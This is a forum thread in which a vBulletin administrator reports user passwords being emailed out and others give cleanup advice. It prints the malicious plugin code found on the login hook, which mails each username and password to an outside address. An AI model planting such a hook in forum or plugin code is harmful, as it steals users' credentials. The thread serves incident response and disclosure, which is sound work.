help a script is sending my user passwords to an email

[Marco van Herwaarden]

Could it be that this script somehow gives an extra login prompt (fake) and that your users are actually entering their info in there?

Save all your files and database.

Disable and remove (all files!!) all modifications

Disable all your styles and create a new style with no parent (= default style) and set this to be the only style to be used on your board.

Check for modified files using AdminCP -> Maintenance -> Suspect file

Contact vBulletin support for assistence.

[project-Buckfas]

This happened on a vB board I'm a member of a few weeks ago. The server was compromised and a harvesting script that prompted usernames and passwords to be entered was planted on the homepage.

These were logged to a txt file and later published online with everyones usernames and passwords.

The amount of times a member tried to login was how many times they appeared on the list in the txt file.

This is the reason why your username/passwords are in plain text format. They remain encrypted in the database.

Get in touch with your host and shut down everything. When your back up make every user change there password.

[msimen]

found and solved ,


here is what i found on some plugins !
just a mod but tell me plz if this

this are the plugins added !

member_complete
vb-sec2 login_verify_success
vb-sec3 global_setup_complete
vb-sec4 misc_start

and this is the content of the vb-sec2

$message = "username: " . $vbulletin->db->escape_string(htmlspecialchars_uni($username)) . "\nPassword:". $vbulletin->db->escape_string(htmlspecialchars_uni($password));
mail('XXXXX@windowslive.com', 'Victim', $message);

[JamesC70]

Originally Posted by msimen

found and solved ,


here is what i found on some plugins !
just a mod but tell me plz if this

this are the plugins added !

We'd still like to know which mod did this. Please check in Plugin Manager... above those files listed above, there should be a Product: name.

Write down the product name, then go into Manage Products and find that product on the list.

If the product's name is underlined, then it's clickable. Hover your mouse over that name, right-click, and select Copy Shortcut. Then come back here and paste the link. This will tell us if the product was released on vb.org, or if it came from somewhere else.

If the product's name is not underlined, then copy and paste the name, version, and description into your reply here.

If the product's name does not show on Manage Products, then return to Plugin Manager and screenshot the listings, and post your screenshots as a reply here. Maybe someone else is familiar with the product and can identify it.

It is very important that you let us know which modification did this. vb.org can pull the mod, check the code, and if vb.org sees the code that you have posted above they can notify other forums who have downloaded the mod, warning them not to use it.

[Marco van Herwaarden]

The above script can only sent out real passwords if your config.php file is set to sent plain text passwords to the server. On a default installation plain text passwords are hashed on the client side and never even sent to the server. It is strongly recommended, the proof is in this thread, not to allow unhashed passwords to be sent to the server.